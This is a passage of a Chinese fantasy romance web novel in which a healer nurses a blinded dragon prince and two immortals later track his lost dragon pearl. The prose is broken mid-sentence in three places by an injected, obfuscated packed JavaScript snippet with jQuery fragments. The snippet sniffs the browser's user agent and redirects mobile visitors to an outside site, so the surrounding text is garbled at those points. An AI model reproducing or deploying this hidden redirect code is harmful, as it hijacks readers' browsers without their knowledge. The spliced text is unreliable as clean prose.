“哦?原来是个道士,也不知是在哪座仙山修炼,仙山内可有治病救人的仙药。”白爷爷打趣道,龙飞凤舞地写下一张药单。 “那得去了北境才知道。”白忍冬微笑道。 屋外忽然传来了陌生的声音,先是滴答作响,很快便成了哗啦而下。四周的邻居都跑到屋外欢呼雀跃:“下雨了下雨了!我还从没见过这么大的雨呐!” 白忍冬也讶然,这西南蛮荒之地,终年干旱鲜有雨水,一年到头也见不到几滴无根水,今日居然下起了瓢泼大雨,实在是不可思议。 她备好药进到屋里,见丰元已经安然熟睡,便坐在一旁静静地看着他。 少年熟睡时像一只温驯小鹿一样乖巧懵懂,白纱覆眼,却不减他身上那股不食人间烟火的气质。白忍冬看着他,竟有些挪不开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052716|149059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼。 虽说失了眼睛,但也依然看得出敖丰元有一副好皮囊,比白忍冬见过的所有男子都要好看。 似是感觉到身旁人的气息,敖丰元皱了皱眉头,醒转过来。 “白姑娘。”敖丰元下意识轻声唤道。 “我在呢。”白忍冬把手覆在敖丰元手背上,她知道敖丰元没有安全感,每回醒来都得叫自己一声,“丰元公子,你的伤好得很快,等你完全痊愈我就带你去北境。” “真的吗?”如果此刻敖丰元的眼睛还在,一定坠着万丈星辉。 “真的,我不骗人。”白忍冬认真道。 等待的日子里,敖丰元腿伤未愈下不了床,只能掰着指头过日子,他看不见,分不清白天黑夜,每日只是昏沉沉地睡着,若听见白忍冬忙进忙出的脚步声便知道是白日,闻到屋子里又换了不同的花香便知道入夜了。 “丰元你闻,这花好香。”白忍冬又采了花来放在敖丰元的屋子里。 “是栀子花,”敖丰元说道,“我从前很喜欢。” “栀子花,这名字真好听。”白忍冬挑了一朵别在鬓边,兀自对着镜子欣赏。 今年西南蛮荒之地离奇下了一整季的雨,带来了丰收和百花盛放的美景,百姓喜乐,病灾也少了许多,白忍冬每日的心情也如夏花一般灿烂。 她坐到床边,轻轻勾起了敖丰元的一缕银丝拿在手里把玩,问道,“丰元,你的头发天生如此吗?” 敖丰元胡扯道:“幼时生了场怪病,虽然痊愈了,却一夜白头。” “原来如此,很好看呢。”白忍冬欢快道,丝毫未察觉敖丰元微红的耳根。 “谢谢。”栀子花的香气钻进鼻子里,可敖丰元的心里却痒痒的。 更深露重,白忍冬像往日那样帮敖丰元盖上被子,他忽然问道:“你和爷爷一直都在四处行医吗?” “是的。这世间处处都有疾病,我们不能只守在一处,虽然帮不到所有人,但也想尽自己所能。”白忍冬淡淡道。 “你让我想起一个人。” “谁?你的朋友吗?” “不算,只是认识。他曾经也说过自己要行医天下。” “那他做到了吗?” 敖丰元摇摇头:他不止没做到,他现在还用毒杀人如麻…… “那真是太可惜了。”白忍冬怅然道。 “你们四处奔波,又常常不收百姓银两,带着我去北境……你放心,我家有很多钱!你……你看我衣服就知道了,那不是寻常布料。等回了家,我送你们北境最大的夜明珠。”他清楚此去路途遥远,担心白忍冬半路缺了银两后悔,将他丢在半路,那他真的会活不下去,于是急切地想证明自己是有利用价值的。 白忍冬听了心里不是滋味,她知道敖丰元没有安全感,于是伸手摸了摸他的脸,柔声道:“你放心,我家中不缺银两,给你医治也不图钱,你对我来说有别的意义,我不会丢下你的。” 别的,意义? 敖丰元不明白这暧昧的话语究竟是何意味,只是默默地覆上白忍冬的手。她的手并不细腻,但总是很温暖。 “我以后可以叫你忍冬吗?”他轻声问道。 “可以呀。”白忍冬声音软软的,让敖丰元听了心也软软的。 白忍冬刚要离开,忽然被敖丰元抓住了手:“忍冬。” 敖丰元薄唇微启,却半晌无言,最后只是轻声说了一句:“谢谢你。” 千言万语只能汇成一句谢谢。 11. 第 11 章 番外篇 南蛮从前四季干旱,可这一年却雨水繁盛,连带着百姓的生活也比从前富足许多。 清晨,白忍冬推开窗户,一阵刺骨寒风立刻钻了进来,她打了个哆嗦,赶紧穿戴洗漱一番去到敖丰元睡的屋子。 他已经醒了,正准备自己换衣服,身上只着一件亵衣,听见推门声吓了一跳,慌慌张张想躲到屏风后面却不慎踢到桌角,痛呼一声。 白忍冬赶紧上前把他带到床上坐着,见他脚无大碍才放下心来,无奈道:“你躲什么?当初都是我帮你换的药,如今还穿着件衣服呢,倒是知羞了。” 敖丰元涨红了脸,结结巴巴道:“那,那时昏迷,如今早已清醒,怎能一样?让别,别人知道你,你给我换药,对你不,不好……” “没事的,我是大夫,给人换药是寻常事,”白忍冬拿了件长袍给敖丰元披着。 “那,你也给别的男子换过药?”敖丰元小心试探道。 “那倒不曾。”那些男子总是看不起白忍冬,觉得她一个小娘子怎通医道?宁愿等爷爷半日,也不让她为自己号脉,只有小姑娘肯让白忍冬为自己医治。 “哦,那便好。”好什么?哪里好?为什么好?敖丰元也说不清楚。 “今日骤寒,我怕你冷,给你拿床棉被。” “我在北境长大,不怕冷,”我是北海白龙,怎么可能怕冷,“你拿去自己夜里盖好,莫要着凉了。” 白忍冬轻笑道:“家里又不是只有一床棉被,有什么好推辞的,你只管盖着。” 忽然,白爷爷敲了两下门,他已经习惯白忍冬不在自己屋里反而出现在敖丰元身边了,淡定说道:“冬儿,思溪镇张员外的儿子生病了,请我过去看看,这几日医馆你多看着些。” “是,爷爷路上小心。” 敖丰元亦客气道:“白爷爷路上小心。” “知道了。”白爷爷应道。 听着白爷爷渐行渐远的脚步声,敖丰元说道:“我腿伤已经好了,我去帮你吧。”他也不想白吃白住当个废人。 “可是……”可是你看不见,万一磕磕碰碰伤到自己可怎么办?白忍冬没忍心说,她怕会伤敖丰元的心,想了想还是答应了,“好吧,那你千万小心,别伤着了。” “好。” 寒凉来得猝不及防,今日医馆来了许多受风寒的百姓。 “白润,取当归、桂枝、芍药、细辛各三两,甘草炙、木草二两,大枣八枚,三包。”白忍冬话音刚落片刻,手边便放了三个小药包。 小丫鬟白润还保持着转身拉抽屉的动作,敖丰元已经一阵风似的将药草拿出并包好放在白忍冬手边了,徒留她在一旁目瞪口呆。 “你,你都不称一下吗?”白润问道,不放心地拆了药包一点一点地重新称,居然真的分毫不差,“天爷啊……你从前是做什么的?” 白忍冬亦是惊讶:他不是看不见吗?这怎么比四肢健全的白润手脚还利索? “我闻得出这些药草,重量掂量一下便知道了。”似是听到了白忍冬心里的疑惑,敖丰元回答道。 “你好厉害,”白忍冬由衷赞叹道,“既然如此,白润你去捣药煎药吧,这边我们俩就够了。” 闻言,敖丰元心底浮现出一丝喜悦。 三人在医馆里忙得团团转,白日里倒还能让客栈送些菜来,到了夜里客栈关门,白忍冬突然心血来潮,想要亲自下厨。 听着厨房里热火朝天的烹炒声里夹杂着几声白忍冬不知所措的惊呼,白润站在门口愁眉苦脸:“小姐,你可以吗?要不还是我来吧……” 她家小姐可不是寻常女子,寻常女子上得厅堂下得厨房,白家小姐只知道晚上吃姜赛吃砒霜。 “没问题。”白忍冬信心满满道,灰头土脸地从厨房里端出了三盘色相俱全的菜。 “哇!小姐,你什么时候学的做菜?”白润惊喜道,她和哥哥白成跟着老太爷和小姐在外奔波,也不讲究规矩,许多时候看起来就像个医馆里头一个寻常帮忙伙计,吃饭也就不再另外安排桌子了。 她和敖丰元在白忍冬期待的目光下一人夹菜一人夹肉,刚一塞进嘴里,白润立刻被呛得直咳嗽:“咳,咳咳!小姐,这茄子没熟啊!你,你是放了多少胡椒啊?” “啊?就,一小把……”白忍冬心虚道。她从来也不曾进过厨房,也不知道该尝尝咸淡,放调料全凭感觉。 白润跑到水缸边舀了好几勺水,而敖丰元始终定定地坐在原位,吃了口菜仿佛中了定身咒。 “丰元,你还好吗?丰元?”白忍冬担心道,自己千辛万苦救回来的人,不会吃了口自己的菜又要挂了吧?“你,你说句话……” 敖丰元终于动了动,斟酌道:“我从未吃过此等美味佳肴,一时晃神了。” ??? 白润喊道:“丰元公子,你不要因为寄人篱下就乱拍马屁啊!” “真的好吃。”敖丰元认真道,又摸索着夹了一块肉优雅地放进嘴里咀嚼,诚恳道:“肥而不腻,火候掌握得十分精妙。” “当真?”白忍冬半信半疑地也夹了一块,不由得震惊:这堪比国宴的菜居然是我做出来的?! 白忍冬把肉推到丰元面前,欢喜道:“那你多吃一些!” “你也吃。”他温柔地笑着,虽眼睛看不见,但依然准确地夹了一块肉放到白忍冬碗里。 “怎么会这样?”白润无语道,方才那口菜吃进去她现在舌头都没味觉了。 敖丰元轻笑一声,“可能,只有聪明的人才能吃到小姐做的美味佳肴。” “嘁,狗腿子!”白润气道。 夜深,白忍冬扶着敖丰元回屋,顺便把屋里的花换成今日最新鲜的。敖丰元站在她旁边,拉起她的手,摸到几处抹着药膏的地方,有些心疼道:“被油溅到了吗?” 他本来不放心,想去接手,可烹炒的声音太大干扰他听音辨位,一进去就碰倒了锅碗瓢盆,反而帮倒忙,被白润骂骂咧咧地拉了出去。 “没事的,做了一道好菜,我很开心~”白忍冬从小就做不来这些事情,这是她第一次成功,心底美滋滋的,油溅的小伤根本不算什么。 敖丰元无奈地笑着揉了揉她的头道:“傻瓜。” “丰元,你不是凡修吗?怎么对抓药这么了解?”白忍冬问道。 “我姐姐对医术感兴趣,我也跟着耳濡目染,略知一二。” “原来如此。修道都要学些什么呢?” “先读书识字,明白万物有灵,修道者应慈悲为怀;再学四族语言、剑法心诀,之后学幻形,最后就可以守护苍生了。” “那得学好多年吧?”白忍冬惊讶道,她光是读书识字和学医问道就花了十六年的时间。 “看天赋,我总是偷偷溜去听说书,学得慢些。”学了八百年。 白忍冬轻笑一声,问道:“你喜欢听说书?” “是啊,凡……咳,那些传奇故事很有意思。” “我从来没听过,我小时候都在认草药,你能跟我讲讲吗?”白忍冬靠在丰元的床边,支着下巴期待着。 敖丰元顿时神采飞扬,他最擅长的就是说书了,当初挑了玉折扇做法器,也是看到说书先生手里总攥着把扇子。 “那我就给你讲讲《空余恨》的故事吧。话说在东海,有一支美丽的水族名为鲤鱼族,他们身上的鳞片五彩斑斓,犹如身披彩霞,而且鲤鱼族灵力高强,在水族中仅次于龙族。每隔五百年,东海龙宫前的龙门便会升起,浮出海面,直通天界,犹如天梯一般,鲤鱼族若是能跃过这道齐天龙门阵,便能化龙。” “好!”白忍冬十分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052717|149059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捧场,卖力地为敖丰元鼓掌。 敖丰元被她逗笑了,旋即又一本正经继续道:“三百年前,有一只小鲤鱼爱上了一位女子,为了能常伴她左右,小鲤鱼便幻化成各种模样,第一世那位人族女子是公主,于是她就化作了一个女扮男装的侍卫,后来被皇帝发现处死了,公主也郁郁而终;第二世那女子自幼被丢弃在一座尼姑庙,小鲤鱼便也剃了头发去做姑子,二人两小无猜情意深重,后来女子被宗亲认回,逼迫她与世族联姻,她宁死不从,触壁自尽;第三世女子投胎于一座仙山,仙山内有禁制,小鲤鱼无法幻形进入,于是日夜守在山脚下盼着能见她一面,一等便是十五年。一日,少女和师兄贪玩溜下山,归途却迷了路,小鲤鱼便现身引他们回家,许是三世羁绊难解,少女对小鲤鱼一见钟情,回山禀明师尊希望与她结为道侣,师尊却以为小鲤鱼是妖怪,怒斥少女正邪不分,将她逐出师门赶下山去。少女下山后便去东海与小鲤鱼成亲,可洞房那夜东海猛然掀起惊涛骇浪,风急浪高直将海岸吞没,少女也没能幸免……” “啊……小鲤鱼苦守三世也未能圆满吗?”白忍冬难过道。 敖丰元轻叹道:“是啊,造化弄人,苦守三世终是一场空,小鲤鱼终知人难胜天,不再挣扎,次年,齐天龙门高升,她放下了三世执念,跃过龙门飞升成仙,从此不问情爱。” 敖丰元讲得绘声绘色,白忍冬仿佛身临其境,难以自拔。 敖丰元听她不说话,便轻轻捏了捏她的手,柔声安慰道:“这只是传奇故事,别当真。怪我,不该讲这个故事惹你难受的,我给你讲南海公主孟惜之的故事吧!她可是当今龙族晚辈中的天之骄子,灵力高强,除天帝外,三界之内无人匹敌……” 第二日一早,白润做好了早饭准备去敖丰元屋子里叫小姐和丰元公子吃饭,结果看到屋门大开,屋内二人和衣而卧,小姐躺在丰元公子的床上,头枕着丰元公子的腿睡得香甜,而丰元公子则坐在她身旁,手里还捏着小姐的手。 白润惊呼一声,立刻捂住了自己的嘴:不好不好,这可不能声张,不然日后小姐可怎么做人?! 她怒气冲冲进了屋,还不忘把门带上,走到床边不由分说给了敖丰元一巴掌。 敖丰元惊醒,懵道:“忍冬?” 白忍冬听到自己的名字,困倦地哼哼了一声。 敖丰元听这声音在自己身下,亦是惊慌失措,赶紧推醒了白忍冬:“忍冬你在哪?快,快醒醒!” 白忍冬本来睡眼惺忪,见敖丰元满脸通红蜷缩在床角,又见白润眼眶通红站在床边,顿时清醒,问道:“怎么了?发生什么事了?” “小姐!”白润凄厉喊道,扑通一声跪在地上抱着白忍冬的腰哭道,“你这般菩萨心肠,将他从鬼门关救回,可这畜生……呸!畜生不如的东西!他居然,他居然……” 白忍冬听得云里雾里,方才还以为是白润和敖丰元发生了什么事,现下听来自己才是主角? “不,不是!我没有,我,我什么都没做,我昨夜只是给忍冬讲故事,讲着讲着就睡着了,我们什么也没有啊!”敖丰元也吓得大叫,上下摸索自己身上的衣服,都还在都还在。 “你还敢狡辩!”白润不依不饶。 “真的,我发誓!白姑娘救我于水火,对我恩重如山,我怎敢对她有任何逾礼之举!”敖丰元举起三根手指郑重道。 “白润,我们真的什么也没发生,你瞧,我们衣服都在呢,”白忍冬拉下白润企图撕了敖丰元的手,“是我昨夜让丰元给我讲故事,结果就在这儿睡着了。丰元不是那种人,我相信他。” 白润看着白忍冬,满脸写着“没救了”:小姐别是真看上这瞎子了吧?日夜不休照顾就算了,昨儿还亲手做菜给他吃,夜里居然就躺一块了???这瞎子是积了几世的福气啊?! 12. 第 12 章 番外篇 白爷爷离开了三日风尘仆仆地回来了,白润欲言又止了好几次,终于还是没说出口:小姐若是真想做一件事,八匹马都拉不回,若真让老太爷出手阻拦恐怕会闹得天翻地覆,罢了罢了,小姐开心就好…… 日子便就这么过着,白日里敖丰元在医馆帮忙,夜里给白忍冬讲故事。白润常常会在精彩之处打断二人,强行拉着白忍冬离开,防止她又一次迷糊睡着。 转眼过了三月,西南长旱之地入了冬,竟飘起鹅毛大雪,真乃奇迹。白忍冬看着屋外的雪景,觉得自从敖丰元出现,世间一切都在变得美好有趣。 白忍冬帮敖丰元系好斗篷,帽沿的一圈兔毛蹭得他有些痒,斗篷上绣着一只歪歪扭扭的白龙。 他总和白忍冬说北境能见到白龙,他们是龙族里最好看的一支,身上的龙鳞可倒映万物,现出龙身时就像将万里江山穿在山上。 于是她就凭着自己的想象给敖丰元在斗篷上绣了一只,她自幼不善女工,扎了满手的伤才织好的,虽然不好看,但……反正敖丰元看不见。 但敖丰元摸得出来,这粗糙的针脚让他忍俊不禁,却还是柔声说道:“绣得真好,我很喜欢。” 白忍冬松了口气,露出了灿烂的笑容:“走吧,我们该出发了。” 两个白衣胜雪的身影相依走在雪地里,美如诗画。 敖丰元在白忍冬的搀扶下上了马车,一想到这是要去北海,要回天界,内心竟有些复杂,不知是近乡情怯,还是别的什么,他不敢细想。 马车里铺着厚实棉软的垫子,门窗帘也都加厚了,外头的风雪几乎飘不进来。白忍冬塞了一个汤婆子到丰元怀里,自己也抱了一个,透过缝隙看着外头的雪景。 北方富庶南方贫瘠,从前爷爷只在南方为流民诊治,白忍冬虽名字里带个冬,可她从未见过雪,因此对雪感到非常新奇。 她伸出一只手接住几片雪花,喃喃道:“真的都不一样……” “雪花吗?”敖丰元问道。 “对,”白忍冬忽然想起敖丰元来自北方,问道,“北境每年都下雪吗?” “嗯,下雪的时候海面会结冰,可以滑冰、打雪仗、堆雪人,”敖丰元细数着,“我还会做冰雕。” “真有意思。”白忍冬向往道。 敖丰元沉默片刻,犹犹豫豫、小心翼翼地开口道:“到时候……你愿意,和我去北境吗?” “去你家玩吗?好呀!”白忍冬开心道,朝敖丰元坐近了些,他身边总是很暖和。 敖丰元微不可察地轻叹了口气:不止是去玩…… 他们一路向北,在各地都要驻留一两个月,为当地穷苦百姓医治疗伤。敖丰元总是静静地坐在一旁抓药捣药,耳朵听着白忍冬为流民诊治,冬去春来,寒来暑往,不厌其烦。 天气又一次渐凉,不知不觉敖丰元在凡界已经三年有余,离北海也越来越近,本来他已经适应如今的生活,渐渐又和从前一样开朗乐观,可不知为何近来他的脾气却愈发敏感焦躁。 他帮白润捣完药,便寻着药草的香味走到白忍冬身边。 正在排队的流民忽然喊道:“那位盲公子,你怎么能插队呢?大家都是来看病的,白姑娘心善不收大家银两,你也不能规矩都不守啊!” “就是,眼盲也不能插队,这里谁还不是个病患了?” 四下都应喝着,甚至有人直接上去拉敖丰元。 “住手!他不是……他是与我一道的,你们放开他。” 敖丰元第一次从白忍冬的声音里听出了微怒的意思,可一个温柔惯了的人,怒意也是软绵绵的。 拉扯推搡的手松开了,白忍冬扶着敖丰元坐在身边,抚了抚他的背,无声安慰着他。 可四下的流言蜚语却并没有停下。他们的声音很轻,可敖丰元依旧听得一清二楚。 “白姑娘人美心善,怎么偏偏看上个瞎子。” “瞎子怎么了?人蒙着眼睛都比你好看。” “嘁,他也就只有副皮囊了,还满头白发,晦气!一个瞎了眼睛的男人有什么用?真是可惜了白姑娘。” “确实啊……” 唏嘘声如雷贯耳,敖丰元捏紧了拳头,指节发白浑身微颤。白忍冬见他脸色苍白,担心道:“丰元,你怎么了?是不是受了风寒?” 敖丰元紧抿着嘴一言不发,愤然离去。白忍冬不明所以,想追上去看看,但满屋子的人都在等着看病,她抽不开身,只能让白润跟上去看着。 一直忙到夜里白忍冬才终于得了空,饭也来不及吃便匆匆赶去看敖丰元。 敖丰元靠坐在一棵枯树下,人也如枯木般了无生气。凉风习习,吹动他洁白无瑕的长袍和星汉般的长发,他就像风雨中飘摇的扁舟,随时要被风浪撕碎。 白忍冬很熟悉这样的场景,那时候他刚醒来,接受不了双眼失明跌落尘埃,独自一人时便总是流露出这种神情 她心里一阵酸涩,也不知他究竟是怎么了,明明已经渐渐开朗,为何忽然一蹶不振。 她迈着最轻的步子走近敖丰元,却还是被他发现了。 “忍冬。” “我在的。” 我在的。她永远都是这样回答的,她知道敖丰元看不见,只能用耳朵听,用鼻子闻,于是应答永远清晰,鬓边总是别着香气最盛的花。 但其实敖丰元最喜欢她身上的草药味,苦苦的,但又让人很心安。 敖丰元不知道该如何面对她,离北海越来越近,他却越发不安。 “还有多久到北境?” 原来是想家了吗?白忍冬想道,不禁感到愧疚,她只顾着自己开心,却忽略了敖丰元思乡情切。 “我们快马加鞭,再有一个月便能赶到了。” “不!”敖丰元忽然说道,他自己都感到惊讶。自己真的很想家,想姐姐,想鸿雁阁,想天界的朋友,可是一旦回了天界,凡界的一切就都得割舍。 我若是一介凡人,只会是你的累赘;可我若是北海仙君,便再难与你相见。 积累许久的情绪终于爆发,敖丰元从未想过自己竟会陷入这般两难之间,他生来仙胎,剔仙骨等于要他的命,他根本没有和白忍冬在一起的选择。 “是我对不起你,白日里不该负气离开,让你担心……”敖丰元忽然哽咽道,声泪俱下,他不明白为什么不管他如何无理取闹这个女孩总能那样温柔地摸着他的头说没关系。这份温柔不是清风,而是五指山一般压得敖丰元喘不过气,“我根本就不配……” 白忍冬抱着敖丰元,一双温暖的手默默地为他擦拭眼泪:“丰元,平日都是你给我讲故事,今日换我跟你讲个故事吧。” “从前有一个小女孩,她自幼笨拙,琴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052718|149059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棋书画无一精通,女工也做得一塌糊涂,受尽耻笑,后来她安慰自己,她做不好这些事是因为她志不在此,她要成为像爷爷那样成为受世人崇敬的名医。 小女孩没日没夜地扎在草药典籍里,跟着爷爷四处行医学习医术。可她还是笨,病人如果只是风寒,被她治了就成了肺痨,如果只是跌打损伤,被她包扎过不了几天就会断手断腿。 爷爷安慰她那不是她医治的问题,是那些人自己不遵医嘱所以才会病伤加重,但小女孩还是怕了,她不敢行医,她觉得自己晦气,那些人一旦碰上自己,没病都得咳三天。 后来,女孩捡到了一个少年,他被当街追杀,只剩一口气在了。爷爷说他救不了,可他明明还有一口气在,女孩不想放弃,执意将他带回家。少年身上几乎没一处好皮肉,足足躺了三个月,女孩没日没夜地守着他,盼着他能开口说句话。 终于,有一天少年醒了,但是他却说自己不想活。女孩不知道该怎么办,不明白为什么每次她尽心尽力救活的人都逃不过一死。她还是不想放弃,这个人是她隔了许多年才终于鼓起勇气亲自医治的,他的命是女孩给的,是死是活,不能由他自己决定。 女孩尽心尽力地照顾着他,并且答应少年一定会将他送回家乡。渐渐地,少年向她敞开了心扉,愿意同她嬉笑玩闹,原来他是个话痨,每天都有说不完的故事,讲得比说书先生还好听。少年的治愈让女孩重拾信心,她相信自己一定能给别人带来生的希望。她的医术越发精湛,药到病除,每到一地就有许多人慕名而来找她医治。 他们二人日夜相伴,无话不谈,有时女孩真的很希望时间能静止,这样她就可以一直陪在少年身边,可天下没有不散的筵席……现在,女孩实现了自己的理想,少年也快到家了。” 敖丰元紧紧抱着她,哭得不能自已:“忍冬,我不想回家了……我想在你身边,不管去哪都行,好吗?” “你知道爷爷给我起这个名字是什么意思吗?”白忍冬的泪落在敖丰元手心里,脸上却依然带着笑,“捱过这场寒冬,你就可以看到春暖花开了。丰元……你的春天不在这里。” 那时白忍冬找到当初捡到敖丰元的那位姑娘,她虽神志不清,但依然说着自己捡到一位龙神,后来夜里又曾听到他梦呓着“龙宫”二字,加上他满头银丝和不染尘屑的仙衣,她早就知道丰元不是凡人了,他们是不可能的。可还是总想着走慢点,再走慢点,这样就能多留在他身边一会儿。 可他终究是天上人,怎能做地上星?他的眼疾回了天界定有仙人能为他医治,在这里白忍冬根本帮不上忙。 敖丰元紧紧抱着白忍冬不愿松手,仿佛一松手她就会如泡影般消失。 “这三年,我真的很开心,听了好多故事,医术也精进许多,我很满足了。”白忍冬贴着敖丰元的额头,努力抑制自己哽咽的声音。 “我不满足!我想一直和你在一起。”敖丰元把头埋进白忍冬的脖颈里,药草混着梅香的味道钻进他的心里,烙下深深的印记。 白忍冬低下头,静静地看着敖丰元。刚见面时,他虽然身受重伤,可清洗之后便不难看出是个养尊处优的小公子,银丝如瀑唇红齿白,若琼林玉树。从前的敖丰元一定是位神采飞扬的仙君吧?若是有了眼睛,他的笑容定会比现在更灿烂。 “丰元,你……回去吧。” 13. 第 13 章 龙珠主风与水,可保一方风调雨顺,西方境内原是黄沙漫天,连年少雨,如今却是一副欣欣向荣,百姓安居乐业的景象,热闹繁华的程度丝毫不输京城。 风照卿和元出尘落在乌苏国城门口,看着此地草长莺飞的异常景象,心中确定敖丰元失踪定与此地有关。 风照卿拔下两根发丝,呼出一口仙气,发丝便化作两顶帷帽,他递给元出尘一顶,说道:“下凡处理公务还是低调为好。” 其实风照卿完全可以施法隐去二人身形,但他接近元出尘可不是真的要陪他上天入地查案。涂山姝宁说了,想唤起他的回忆可以试着旧地重游,从前元出尘带他到凡界游玩时,为了避免引起不必要的麻烦,二人都是带着帷帽出门。 “嗯。”元出尘默默地接过帷帽,余光见风照卿的帽子有些歪,自然地伸出手帮他调正。 忽然,那种似曾相识的感觉又出现了,他伸出的手不禁顿住:我这是在干嘛…… 他细细打量着白色帽帘下风照卿影影绰绰的清瘦身形,似乎和梦里那个人也并不相似,梦中之人的身姿显然更挺拔一些,年纪应该也要比照卿大。 罢了,或许只是错觉。元出尘自嘲似的勾了下嘴角,伸出的手并没有收回,还是默默帮风照卿调正帽子,兀自进了城。 风照卿将他的神情动作看在眼里,却一语不发,默默跟了上去。 城内人声鼎沸,似乎正在举行庆典,高楼上不断有孩童往下撒桃花瓣,空气中弥漫着引人遐想的芬芳,每家每户门口都挂着桃色帘纱,来往的百姓衣着奔放,身上的布料只够遮羞,他们互相搂抱拥吻,无论男女皆是搔首弄姿,举止娇媚,挥舞着手中的帕子,对中央大道上缓慢行驶的黄金步辇追逐调笑。 风照卿完全没想过会遇到此等荒淫场面,看着他与元出尘浑身上下包裹得严严实实,与众人格格不入的模样,有些不知所措。 “这是怎么回事?”他不禁问道。 “龙珠以阴阳交合之气滋养灵力,龙族喜淫也是因此。”元出尘淡淡道,似乎对此情此景并不惊讶。 “可青龙狱官并没有……”风照卿顿了顿,他觉得用荒淫来形容死板严肃的青龙狱官实在是太无礼了。 “青龙原属鲤鱼族,跃过龙门后才化龙的,没有龙珠。而且千万年来,龙族早已寻得克服龙珠欲念的心法,只是现在龙珠离体,没了压制,这些凡人受了龙珠恩惠,自然也得回馈它。” “原来如此。”上一世风照卿与龙族交涉不深,对此倒不了解。 他远远看向黄金步辇上的人。与其说是人,不如说是一摊肥肉,四仰八叉躺在步辇上,浑身的肉松散开,几乎要从步辇上垂下去,足足要十个壮汉扛着他,前后各有四位妙龄女子为其撑伞摇扇,怀里躺着一个妖娆纤细的男子正在喂他吃葡萄。 风照卿狠狠皱了眉头,有些不忍直视,正要别开脸,却忽然从那人淫|笑的脸上发现了异样。 “那个人是……异瞳?” 元出尘也注意到了,那团肥肉脸上的一双眼睛,一只是与常人无异的深棕色,另一只则是清透的灰蓝色——和丰元一样的瞳色。 啸天犬在脚边狂吠不止,元出尘轻声道:“稍安勿躁,此地凡人众多,不可贸然出手。” 他们三人(?)衣着与城中人格格不入,若是与百姓一起跟着黄金步辇未免过于引人注目,于是风照卿只好飞身跃上高楼,眼见着黄金步辇一路进了国公府,沿路跟随的百姓中,几位略有姿色的也统统都被留了下来。 月黑风高,元出尘负手而立,与啸天犬等在国公府门口。他穿的正是那日织女送的莲纹青衫,身形颀长,气质高雅,面容俊美却冷若冰霜,在月光下更显出几分可远观不可亵玩的姿态。 只听府里传来几声拳打脚踢的声音,不过片刻,风照卿便从侧门探出头来说道:“解决了,进来吧。” 元出尘眉头微微一皱,问道:“为何不开正门迎接本君?” 真当自己是下凡赐福来了?风照卿忍住想打他的冲动,冷冷地撂下一句:“爱进不进。” “……” 府内所有丫鬟小厮横七竖八躺了一地,有些被元出尘的迷药整晕了,有些则被风照卿一拳打去见周公。二人如入无人之境般大摇大摆地走在国公府内,径直往唯一有人声的地方走去。 那处是个温泉,水汽氤氲,轻纱漫舞,石灯内烛火微微跳动,平添了几分暧昧的意味,嬉笑盈盈伴着水声潺潺,还未走近,风照卿已经能想象那里会是怎样一幅酒池肉林的景象。 忽然,一条柔软冰凉的东西覆在了风照卿眼睛上,他正不明所以,便听见元出尘的声音在头顶响起:“小孩别看。” “……?”且不说上一世我比你年长,便是这一世的我现下想娶妻生子也不是不可以的,涂山姝宁都给我桃花符让我找对象了,你说谁小孩呢?! 元出尘自然听不见风照卿心中的咆哮,从袖中摸出了一朵色泽诡异的花,撕下它的叶子,让它随风飘入温泉。 温泉内正享受|淫|欢的男男女女自然无暇顾及一片落叶带起的微小涟漪,只见四周白色雾气愈发浓厚,渐渐盖去了眼前人的身影,他们的目光也逐渐涣散,行尸走肉般走上岸,躺尸一般一字排开在岸边安眠。 元出尘走进被白雾笼罩的温泉,一眼便看见那团肥肉,嫌弃地双手抱胸犹豫了许久,想到以自己如今这凡人之躯根本扛不动这坨肥肉,终于还是喊道:“风照卿,你,你过来把他拖出去。” 风照卿走进来时便见元出尘脱了青衫,用它尽可能地罩在那群一字排开、赤身裸|体的人身上,不过这些人实在有些多,青衫压根遮不了几个人,风照卿还是不可避免地看见了一些难以描述的东西。 故作正经地轻咳了两声,风照卿仰着脖子不再看向那些人,拿出了捆仙索,它却扭扭捏捏地又要往风照卿怀里钻,他只好安慰道:“委屈你了,回头去瑶池给你洗个澡。” 捆仙索似乎听懂了,不情不愿地捆住了那个凡人,风照卿轻轻一拽,便将他拖了出来,顺便一勾手指,将元出尘的青衫召回。 “喏。”他递给元出尘。 元出尘万分嫌弃地将眉间皱出了“川”字:“不要了!” “这可是织女送的。”风照卿故意说道:若是对织女送的衣服不珍惜,那是不是对织女也并无意? “那又如何?本君所有衣服都是织女送的,你喜欢回去挑几件。”元出尘再多看那衣服一眼都嫌脏。 “你——”风照卿捏着那件青衫恨不得现在就回天界烧了元出尘的竹林花园。 